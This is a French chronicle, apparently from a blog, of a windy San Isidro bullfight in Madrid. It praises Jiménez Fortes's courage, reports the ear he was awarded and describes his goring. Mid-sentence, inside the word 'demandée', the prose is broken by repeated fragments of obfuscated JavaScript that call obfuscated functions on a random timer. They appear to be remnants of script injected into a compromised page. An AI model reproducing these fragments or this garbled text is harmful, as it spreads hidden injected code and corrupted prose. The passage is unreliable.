MADRID SAN ISIDRO : UN HEROS À TERRE

Un vent violent conseillait d’annuler la course. On ne pouvait pas toréer. Mais cela le public ne semble pas le savoir. Ni les toreros actuels, qui ne réalisèrent pas leurs faenas à proximité du tendido 4, préservé du vent, du côté opposé à celui que choisissent toujours les toreros, soumis aux dictats du tendido 7, qui veut les voir toréer de près. Cet après-midi les toreros ont manqué ont manqué un peu de clairvoyance mais pas de courage, confrontés à des toros progressivement plus avisés, à mesure que le vent décomposait les leurres.

Mais un dévouement aussi méritoire, ajouté à l’imperfection, ne permettaient pas réellement de triompher. Il était nécessaire de franchir un palier, être prêt à assumer jusqu’au bout le rôle de héros. C’est ce que comprit et fit devant ses deux toros Jiménez Fortes. Non seulement en les recevant à porta gayola et en leur donnant tous les avantages, dans toutes les passes de cape et de muleta. Mais aussi en franchissant cette frontière où vivent ou meurent les héros. Face à son premier il sorti indemne de l’épreuve, de bernadinas inversées au centre de l’arène, qui lui valurent une oreille. Moi, bien entendu, je l’ai demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andée.

Dommage que la chance ne l’a pas accompagné devant son second toro, qui l’a attrapé non pas parce que le torero faisait mal les choses, mais parce qu’il arrive parfois que les toros le fassent. Heureusement, après la première impression, il semble que le coup de corne ne soit pas si grave. Hier Talavante, aujourd’hui Jiménez Fortes et demain Perera. La feria de San Isidro est en ébullition désormais.

Les commentaires sont fermés.